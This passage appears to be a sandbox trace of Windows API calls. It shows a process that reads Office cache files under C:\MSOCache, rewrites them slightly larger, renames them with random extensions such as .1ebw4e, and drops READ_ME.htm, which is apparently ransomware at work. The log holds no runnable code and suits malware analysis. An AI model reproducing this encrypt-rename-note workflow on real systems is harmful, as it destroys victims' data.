lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdcfb7a70, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xdcfb7a70, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.xml", cAlternateFileName="")) returned 1 [0135.108] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42508f00, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42508f00, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.109] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42508f00, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42508f00, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0135.109] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0135.109] SetErrorMode (uMode=0x0) returned 0x1 [0135.109] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml", lpFilePart=0x0) returned 0x4b [0135.109] SetErrorMode (uMode=0x1) returned 0x0 [0135.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.112] GetFileType (hFile=0x1d0) returned 0x1 [0135.112] SetErrorMode (uMode=0x0) returned 0x1 [0135.112] GetFileType (hFile=0x1d0) returned 0x1 [0135.112] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x5b2 [0135.112] ReadFile (in: hFile=0x1d0, lpBuffer=0x2997ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2997ec0*, lpNumberOfBytesRead=0x21d4d8*=0x5b2, lpOverlapped=0x0) returned 1 [0135.183] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml", lpFilePart=0x0) returned 0x4b [0135.183] SetErrorMode (uMode=0x1) returned 0x0 [0135.184] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.185] GetFileType (hFile=0x1d0) returned 0x1 [0135.185] SetErrorMode (uMode=0x0) returned 0x1 [0135.185] GetFileType (hFile=0x1d0) returned 0x1 [0135.185] WriteFile (in: hFile=0x1d0, lpBuffer=0x287ab38*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x287ab38*, lpNumberOfBytesWritten=0x21d478*=0x5c0, lpOverlapped=0x0) returned 1 [0135.187] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml", lpFilePart=0x0) returned 0x4b [0135.187] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml.1ebw4e", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml.1ebw4e", lpFilePart=0x0) returned 0x52 [0135.187] SetErrorMode (uMode=0x1) returned 0x0 [0135.188] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdcfb7a70, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xdcfb7a70, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0x4d2aaaa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5c0)) returned 1 [0135.188] SetErrorMode (uMode=0x0) returned 0x1 [0135.188] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml.1ebw4e" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml.1ebw4e")) returned 1 [0135.190] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.190] SetErrorMode (uMode=0x1) returned 0x0 [0135.190] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.191] GetFileType (hFile=0x1d0) returned 0x1 [0135.191] SetErrorMode (uMode=0x0) returned 0x1 [0135.191] GetFileType (hFile=0x1d0) returned 0x1 [0135.191] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x996 [0135.191] ReadFile (in: hFile=0x1d0, lpBuffer=0x287d138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x287d138*, lpNumberOfBytesRead=0x21d4d8*=0x996, lpOverlapped=0x0) returned 1 [0135.213] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.214] SetErrorMode (uMode=0x1) returned 0x0 [0135.214] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.215] GetFileType (hFile=0x1d0) returned 0x1 [0135.215] SetErrorMode (uMode=0x0) returned 0x1 [0135.215] GetFileType (hFile=0x1d0) returned 0x1 [0135.215] WriteFile (in: hFile=0x1d0, lpBuffer=0x29612f0*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x29612f0*, lpNumberOfBytesWritten=0x21d478*=0x9a0, lpOverlapped=0x0) returned 1 [0135.217] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.217] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml.8izi4i", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml.8izi4i", lpFilePart=0x0) returned 0x4f [0135.217] SetErrorMode (uMode=0x1) returned 0x0 [0135.218] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42508f00, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42508f00, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4d2f6d60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x9a0)) returned 1 [0135.218] SetErrorMode (uMode=0x0) returned 0x1 [0135.218] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml.8izi4i" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml.8izi4i")) returned 1 [0135.219] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0135.219] SetErrorMode (uMode=0x1) returned 0x0 [0135.219] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0135.219] GetFileType (hFile=0x1d0) returned 0x1 [0135.220] SetErrorMode (uMode=0x0) returned 0x1 [0135.220] GetFileType (hFile=0x1d0) returned 0x1 [0135.220] WriteFile (in: hFile=0x1d0, lpBuffer=0x2966130*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2966130*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0135.223] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0135.223] SetErrorMode (uMode=0x1) returned 0x0 [0135.224] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0135.227] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.227] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd31baf20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0135.227] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39355420, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x39355420, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd27053f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2a1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0135.227] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6cc80650, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6cc80650, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2646d10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3da000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0135.227] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdbe85560, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0xdbe85560, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xd2622320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x149b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0135.227] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70035b30, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x70035b30, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2588630, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x740ab3a0, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x740ab3a0, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2588630, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d804480, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x7d804480, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd25fb220, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OffSetLR.cab", cAlternateFileName="")) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bc55fd0, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7bc55fd0, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x32ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7752c460, ftCreationTime.dwHighDateTime=0x1d0990a, ftLastAccessTime.dwLowDateTime=0x7752c460, ftLastAccessTime.dwHighDateTime=0x1d0990a, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3906, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x588655b0, ftCreationTime.dwHighDateTime=0x1d0a41d, ftLastAccessTime.dwLowDateTime=0x588655b0, ftLastAccessTime.dwHighDateTime=0x1d0a41d, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x14366, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41e54a10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41e54a10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2123, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5746daf0, ftCreationTime.dwHighDateTime=0x1d0cba8, ftLastAccessTime.dwLowDateTime=0x5746daf0, ftLastAccessTime.dwHighDateTime=0x1d0cba8, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0135.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5746daf0, ftCreationTime.dwHighDateTime=0x1d0cba8, ftLastAccessTime.dwLowDateTime=0x5746daf0, ftLastAccessTime.dwHighDateTime=0x1d0cba8, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0135.229] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0135.230] SetErrorMode (uMode=0x0) returned 0x1 [0135.230] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0135.230] SetErrorMode (uMode=0x1) returned 0x0 [0135.230] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0135.231] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd31baf20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39355420, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x39355420, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd27053f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2a1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6cc80650, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6cc80650, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2646d10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3da000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdbe85560, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0xdbe85560, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xd2622320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x149b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70035b30, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x70035b30, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2588630, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x740ab3a0, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x740ab3a0, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2588630, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", 